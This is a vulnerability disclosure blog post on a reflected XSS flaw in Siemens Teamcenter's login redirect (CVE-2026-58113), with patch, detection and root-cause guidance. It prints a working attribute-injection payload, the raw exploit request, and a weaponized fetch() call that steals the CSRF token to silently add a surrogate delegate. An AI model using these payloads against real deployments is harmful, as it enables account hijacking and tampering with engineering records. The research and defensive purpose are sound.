Submit and Execute: Weaponizing Reflected XSS in Siemens Teamcenter's Login Redirect (CVE
TL;DR
- Siemens Teamcenter is one of the most widely deployed product lifecycle management (PLM) platforms in the world, the system of record for the engineering designs, bills of materials, and approval workflows behind aircraft, vehicles, and industrial hardware. We found that a crafted link could execute JavaScript in the browser of a logged-in Teamcenter user. During an authorized assessment, we used it to silently grant one account the ability to act on behalf of another.
- CVE-2026-58113 is a reflected cross-site scripting (XSS) flaw in Teamcenter’s
/auth/
login-redirect flow. The page reflects attacker-controlled query input into an auto-submitting HTML form without encoding it, and the form’s own automatic submission fires the injected code, no click required beyond opening the link. The attacker needs no Teamcenter account; the victim only needs to be authenticated when they open the URL. Siemens rates it 8.5 (High) under CVSS 4.0 and has shipped fixed builds.
A Login Page That Attacks Its Own Users
Reflected XSS almost always begins the same way: the attacker gets a victim to open a crafted link. That step is unavoidable, and CVE-2026-58113 is no exception. What makes this one stand out is what happens after the page loads. The payload lands in an HTML attribute, a context that normally needs a second action, such as the victim hovering over or clicking the injected element, before the browser will run any script. Teamcenter’s login-redirect page removes that step: it was built to submit a form the instant it loads, and that automatic submission fires the injected handler on its own. Opening the link is the only thing the victim ever does.
We discovered this during an authorized penetration test of a Siemens Teamcenter Active Workspace deployment. Teamcenter is Siemens’ flagship PLM suite; Active Workspace is its browser-based front end. Organizations use it to manage the full lifecycle of engineered products such as CAD data, part structures, bills of materials, engineering change orders, and the workflow approvals that release all of it to manufacturing. If you want a single high-value target inside a manufacturer, the PLM system is a strong candidate as it holds the intellectual property and it gates the approvals.
While mapping the authentication flow, we found that Teamcenter’s /auth/
endpoint reflected several request parameters and, notably, arbitrary parameter names straight into the attributes of an HTML
element, unencoded. On its own that is a textbook reflected XSS. What made it weaponizable without any user interaction was the page’s behavior once it loaded: it programmatically submitted that form as part of the single sign-on (SSO) redirect. That automatic submission turned an attribute injection into zero-interaction code execution, which we then chained into a state-changing action against the victim’s account.
This post walks through how the redirect page works, why the injection fires with no click beyond the initial payload delivery, how we turned a proof-of-concept dialog box into a silent account-delegation change, and most importantly, what defenders should do about it.
Background: The Redirect That Submits Itself
Teamcenter Active Workspace uses /auth/
during sign-in and SSO. When a browser hits it, the server returns a small HTML page whose entire job is to bounce the user onward to the SSO login destination. It does that with a hidden form and a little JavaScript.
Stripped down, the returned page looks like this:
redirectToSSO function updateURL() { var location = encodeURIComponent( window.location.search + window.location.hash ); var element = document.getElementById('initialLoginPage'); element.value = location; document.getElementById('autoSubmit').submit(); }
...
Two design choices matter here:
- 1. The form’s
action
(and other attributes) are built from request parameters. Values likelocale
,correlationId
,operationId
, andsessionId
from the incoming query string are reflected into the generated markup. - 2. The page submits the form for you. The
handler runs as soon as the page loads and callsdocument.getElementById('autoSubmit').submit()
.
That second point is the whole game. A normal reflected XSS in an HTML attribute value usually needs one of two things to execute: a break-out into a script or event-driven context that the user triggers (e.g. an onmouseover, an onclick), or a spot where the browser will parse injected markup as active content. Here, the page hands us the trigger for free as it submits the form itself, every single time.
The Vulnerability: Breaking Out Of The Form Action
Because the query string is reflected into the form’s attributes without contextual encoding, we can close the action attribute early and add our own attribute to the
element. The payload is just an extra parameter whose value contains an encoded double quote followed by the attribute we want to inject:
&poc%22+onformdata=confirm(%27Teamcenter_XSS%27)+x=%221
Decoded, that is " onformdata=confirm('Teamcenter_XSS') x="1
. The leading %22
terminates the action value; onformdata=...
becomes a brand-new attribute on the form element; and x="1
re-opens a quote so the surrounding markup stays balanced instead of breaking the page.
Sent against the endpoint, the request looks like this:
GET /auth/?locale=en_US&correlationId=&operationId=awLogin/1&sessionId= &poc%22+onformdata=confirm(%27Teamcenter_XSS%27)+x=%221 HTTP/2 Host:
And the reflected form in the response now carries our attribute:
...
At this point we have injected an onformdata
handler onto the form. The question is what makes it run.
The Twist: onformdata + Programmatic Submit() = Zero Interaction
The formdata
event fires whenever the browser constructs the form’s entry list which happens during form submission, including submission triggered from script by form.submit()
. This is the piece that makes CVE-2026-58113 dangerous rather than merely annoying.
Walk through the sequence from the victim’s point of view:
- The victim, already authenticated to Teamcenter, opens our crafted link.
- The redirect page loads and
onLoad
fires, callingupdateURL()
. updateURL()
callsdocument.getElementById('autoSubmit').submit()
.- The browser builds the form’s entry list to submit it, which fires the formdata event.
- Our injected onformdata handler executes, as script, in the Teamcenter origin, before the browser finishes navigating to the SSO destination.
No hover. No second click. The only user action required is opening the link, which is exactly the kind of thing that arrives in a phishing email or a chat message. We confirmed execution in Firefox, where form.submit()
drives the entry-list construction that raises the formdata
event. Behavior around programmatic submission and the formdata
event is not uniform across engines but a defender should assume the technique is viable wherever the redirect page auto-submits and the formdata
event fires on a scripted submit.
Because this code runs on the Teamcenter origin, it can do anything the victim’s browser can do as that user such as read data the user can see, and more importantly, send authenticated requests to Teamcenter’s own APIs using the victim’s session. A confirmation dialog proves execution. The real question on an engagement is what that execution is worth.
Weaponizing It: From a Dialog Box To a Silent Account Change
To show concrete, business-relevant impact, we moved from confirm()
to a real, state-changing Teamcenter API call. Teamcenter exposes a setSurrogate
workflow API that assigns a surrogate, a delegate who can act on behalf of another user. If an attacker controls an account that can be assigned as a surrogate, the unauthorized delegation could let that account stand in for the victim in permitted workflows.
The handler we injected issued that call from inside the onformdata context. The following JavaScript shows the same request structure we used. The hostname is derived from the current origin, and every account, group, role, version, and date value is replaced with an inert placeholder:
fetch( location.origin + '/tc/RestServices/Workflow-2014-06-Workflow/setSurrogate', { method: 'POST', keepalive: true, headers: { 'Content-Type': 'application/json', // Double-submit CSRF tokens are, by design, readable from document.cookie 'X-Xsrf-Token': decodeURIComponent( document['cookie']['split']('XSRF-TOKEN=')[1]['split'](';')[0] ) }, credentials: 'include', body: JSON['stringify']({ header: { state: { clientVersion: 'CLIENT_VERSION', logCorrelationID: 'Awp0SurrogateAddCmd/3', stateless: true, enableServerStateHeaders: true, formatProperties: true, clientID: 'ActiveWorkspaceClient', groupMember: 'GROUP_MEMBER_UID', role: 'ROLE_NAME', locale: 'en_US' } }, body: { requests: [{ unset: false, fromResource: { uid: 'TARGET_USER_UID', type: 'User' }, toResource: { uid: 'DELEGATE_USER_UID', type: 'User' }, startDate: 'START_DATE_ISO8601', endDate: 'END_DATE_ISO8601' }] } }) } )
Three details make this work:
credentials: 'include'
sends the victim’s Teamcenter session cookies with the request, so the server treats it as the victim.- The
X-Xsrf-Token
header is read straight fromdocument.cookie
. Teamcenter uses a double-submit CSRF token, and the double-submit pattern requires the token to be readable by JavaScript so the client can echo it in a header. That readability is exactly what lets our injected script satisfy the CSRF check. keepalive: true
lets the POST outlive the page. The whole reason our code ran is that the page was mid-submission and about to navigate to the SSO destination;keepalive
ensures the outbound request survives that navigation and completes.
Encoding The Payload Into The Link
Delivering that expression in a URL means collapsing it to a single line, URL-encoding it, and dropping it into the same attribute break-out we used for the dialog. The construction below produces the full crafted request. The placeholder UIDs and dates are intentionally inert:
const encodedHandler = [ 'fetch(location.origin%2B%27%2Ftc%2FRestServices%2FWorkflow-2', '014-06-Workflow%2FsetSurrogate%27%2C%7Bmethod%3A%27POST%27%2', 'Ckeepalive%3Atrue%2Cheaders%3A%7B%27Content-Type%27%3A%27app', 'lication%2Fjson%27%2C%27X-Xsrf-Token%27%3AdecodeURIComponent', '(document%5B%27cookie%27%5D%5B%27split%27%5D(%27XSRF-TOKEN%3', 'D%27)%5B1%5D%5B%27split%27%5D(%27%3B%27)%5B0%5D)%7D%2Ccreden', 'tials%3A%27include%27%2Cbody%3AJSON%5B%27stringify%27%5D(%7B', 'header%3A%7Bstate%3A%7BclientVersion%3A%27CLIENT_VERSION%27%', '2ClogCorrelationID%3A%27Awp0SurrogateAddCmd%2F3%27%2Cstatele', 'ss%3Atrue%2CenableServerStateHeaders%3Atrue%2CformatProperti', 'es%3Atrue%2CclientID%3A%27ActiveWorkspaceClient%27%2CgroupMe', 'mber%3A%27GROUP_MEMBER_UID%27%2Crole%3A%27ROLE_NAME%27%2Cloc', 'ale%3A%27en_US%27%7D%7D%2Cbody%3A%7Brequests%3A%5B%7Bunset%3', 'Afalse%2CfromResource%3A%7Buid%3A%27TARGET_USER_UID%27%2Ctyp', 'e%3A%27User%27%7D%2CtoResource%3A%7Buid%3A%27DELEGATE_USER_U', 'ID%27%2Ctype%3A%27User%27%7D%2CstartDate%3A%27START_DATE_ISO', '8601%27%2CendDate%3A%27END_DATE_ISO8601%27%7D%5D%7D%7D)%7D)' ].join(''); const requestTarget = '/auth/?locale=en_US&correlationId=CORRELATION_ID' + '&operationId=awLogin/1&sessionId=SESSION_ID' + '&poc%22+onformdata=' + encodedHandler + '+x=%221';
In the request, %22
closes the quoted form action, onformdata
carries the encoded fetch expression, and x=%221
balances the remaining markup. When the victim’s browser loaded the page, it submitted the form, fired formdata, and issued the POST, all before navigating away.
We confirmed that a second test account was added as an active surrogate delegate on the targeted account, with a delegation window spanning roughly a year. The victim received no prompt and had to visit no other Teamcenter page. We validated creation of the delegation relationship; we did not go on to exercise it against real data.
Impact: What A Surrogate Can Do In A PLM System
Surrogate delegation is not a cosmetic setting. It is designed to let a trusted user act on behalf of another across the full scope of that user’s permissions such as approving workflow tasks, releasing documents, modifying part structures, and performing other state-changing operations in the PLM environment. An attacker who establishes a surrogate relationship this way can then log in as the delegate and do anything the victim could: approve engineering change orders, release controlled design data, alter bills of materials — the kinds of actions that, in a manufacturing or aerospace context, move real hardware.
And surrogate abuse is only one option. Because the injected code runs in the victim’s authenticated session, it can call any Teamcenter API the victim is authorized for. Depending on the victim’s role and the deployment, that could mean exfiltrating sensitive engineering data, tampering with part or document records, escalating access, or pivoting to other actions, all constrained only by server-side authorization. The attack needs nothing more than an authenticated victim opening a link, which makes phishing a natural delivery mechanism and makes any authenticated user a viable entry point regardless of what page they were on.
That gap between “reflected XSS, medium severity” and “silently reassign who can approve aircraft design changes” is why the scoring is worth a word.
A Note On The Two CVSS Scores
Siemens published two base scores for the same flaw: 6.1 (Medium) under CVSS 3.1 and 8.5 (High) under CVSS 4.0.
CVSS 3.1: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVSS 4.0: 8.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Both vectors describe the same bug; the difference is what each version can express. Look at the impact metrics: 3.1 rates confidentiality and integrity as Low (C:L/I:L), while 4.0 rates the vulnerable system's confidentiality and integrity as High (VC:H/VI:H). That shift is mostly the gap between 6.1 and 8.5. A base score is a starting point, not a description of what the bug does in your environment, and for a system that gates engineering approvals, the 4.0 framing is the honest one.
What Defenders Should Do Right Now
Patch. Identify your Teamcenter branch and update to the fixed build for that branch (or later), per Siemens advisory SSA-157465:
Affected branch | Fixed in (or later) |
V2412, all versions < V2412.0013 | V2412.0013 |
V2506, all versions < V2506.0010 | V2506.0010 |
V2512, all versions < V2512.2607 | V2512.2607 |
V2606, all versions < V2606.2607 | V2606.2607 |
Updates are available through Siemens Support. If your deployment runs a branch not listed above, confirm the supported upgrade path with Siemens rather than assuming you are unaffected.
Hunt for delegation abuse. Because the demonstrated impact was a surrogate change, review your active surrogate delegations and their creation history where audit data exists. Flag assignments users did not request or expect and correlate suspicious delegations with authentication-redirect activity and account logins around the same time. The same review approach extends to other state-changing actions available to high-privilege users.
Detecting It Safely
You can look for exploitation attempts without ever running the payload yourself. In whatever telemetry you have for the front end such as reverse proxy, WAF, or application logs, look at requests to /auth/
and inspect the query strings:
- Encoded quote characters (
%22
) inside /auth/ parameters, especially adjacent to text that looks like an HTML attribute. - Event-handler names such as
onformdata
,onfocus
,onerror
, oronload
appearing in query values. - Unexpected, arbitrary parameter names being sent to the endpoint.
Two caveats keep this honest. First, a matching URL is a lead, not proof that script executed, treat it as a prompt to investigate the associated session and account, not as a confirmed compromise. Second, these exact strings are not the only way to express the payload; a determined attacker can vary casing, encoding, and handler choice to dodge a naive signature. Use these as starting points for hunting, pair them with the surrogate-delegation review above, and prefer patching over relying on detection.
The Fix And The Root Cause
Siemens’ fixed builds address the flaw; the underlying lesson is a familiar one for anyone who generates HTML from user input. The correct pattern is not to sanitize a denylist of bad characters, it is to encode output for the exact context it lands in:
- Apply strict contextual output encoding to every piece of user-controlled input reflected into HTML and match the encoder to the context — HTML attribute, text node, URL, and script contexts each need different handling. The
/auth/
bug is specifically an attribute-context failure. - Treat unexpected query parameters as untrusted noise. Reject them or allowlist known parameters; never copy arbitrary parameter names or values into generated markup.
- As defense-in-depth, serve a restrictive Content Security Policy that forbids inline event handlers and inline script (no
unsafe-inline
). A good CSP would have blunted this payload but it is a second layer, not a substitute for correct encoding or the vendor patch. - Regression-test authentication and redirect flows specifically for attribute injection, reflected XSS, and open-redirect variants, across the browsers your users actually run. (Teamcenter’s SSO redirect flow has drawn scrutiny before — Siemens SSA-656895 / CVE-2025-23363 covered an open redirect in the same general area.)
Disclosure Timeline
We reported this issue to Siemens ProductCERT through coordinated disclosure. Siemens acknowledged the report, validated the issue, assigned CVE-2026-58113, and shipped fixed builds across the affected branches.
Date | Event |
May 30, 2026 | Reported to Siemens ProductCERT |
June 1, 2026 | Siemens acknowledged the report |
July 3, 2026 | CVE-2026-58113 assigned |
September 8, 2026 | Fixed builds released and advisory SSA-157465 published |
Siemens credited the report in its Hall of Thanks. Our thanks to the Siemens ProductCERT team for a responsive coordination process — from acknowledgment two days after our report to fixes across all affected branches.
Takeaways
The specific bug is a missing output encoder. The more useful lesson is about where reflected input becomes dangerous:
- An auto-submitting form turns attribute injection into zero-interaction XSS. The usual mitigating factor for attribute-context reflection, “the user has to trigger an event”, evaporates when the page fires the event itself. Any page that programmatically submits a form built from request data deserves a hard look.
- onformdata is an under-appreciated sink. It fires during entry-list construction, including on programmatic submit(), so it can execute where handlers you were watching for might not. Include it in your payload sets and your detection signatures.
- Double-submit CSRF tokens are readable by design, so XSS defeats CSRF protection. The moment script runs in your origin, a JavaScript-readable CSRF token is just another value the attacker can echo. CSRF defenses assume no XSS; keeping that assumption true is the point.
- Score bugs against the application, not the abstraction. An XSS in a marketing site and an XSS in the system that approves engineering releases are not the same finding, even with the same CVSS base metrics.
Closing
An XSS in a login redirect sounds unremarkable until you follow it into what the application actually governs. Here, a page that was built to be helpful became the trigger that executed attacker code and quietly rewired who could act on behalf of an engineer inside a PLM system. Patch to the fixed branch, review your surrogate delegations, and treat every parameter that reaches your HTML as untrusted, wherever it lands.
Bishop Fox finds issues like this on assessments and through continuous testing of internet-facing attack surface with our Cosmos platform and Continuous Threat Exposure Management services. If you want to know what an authenticated user could reach in your own environment before an attacker does, that is the conversation to have.
References
Subscribe to our blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.
Recommended Posts
How it works
Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.
Questions are cached — you'll always get the same 5 for this article.